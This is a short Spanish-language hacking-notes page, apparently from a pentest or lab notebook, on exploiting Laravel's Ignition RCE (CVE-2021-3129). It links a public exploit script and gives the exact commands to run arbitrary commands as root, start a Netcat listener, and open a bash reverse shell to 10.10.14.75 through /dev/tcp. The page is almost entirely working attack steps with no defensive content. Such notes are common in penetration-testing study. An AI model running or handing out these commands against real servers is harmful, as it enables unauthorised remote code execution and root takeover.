> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/laravel-cms-exploitation.md).

# Laravel

Notas de explotación de Laravel para RCE CVE-2021-3129, ejecución de comandos en PHP Ignition, validación de id, configuración de listener Netcat y acceso root mediante shell inversa.

## Explotando Laravel CMS (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-506eb507d9be1338b8840e3cae973754e3b531c2%2Fimage%20(678).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ejecución arbitraria de comandos

Explota CVE-2021-3129 para ejecutar comandos arbitrarios en el servidor. Primero, prueba la ejecución de comandos con `id`:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

La salida confirma privilegios de root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28f3919b67c882d9ed14f04f06a2a9e53db5f454%2F%7B55509709-B678-488F-B911-350B40351CAE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Obteniendo una shell inversa interactiva

Para obtener una shell interactiva, inicia un listener en el puerto 443:

```bash
nc -nvlp 443
```

Luego ejecuta una shell inversa en el objetivo a través del exploit:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Esto proporciona acceso root en el objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-346dee540bd18ab194c099da9dd65afeae0936da%2F%7B7D8A6B14-4811-4503-AB7E-6CCAA2692F23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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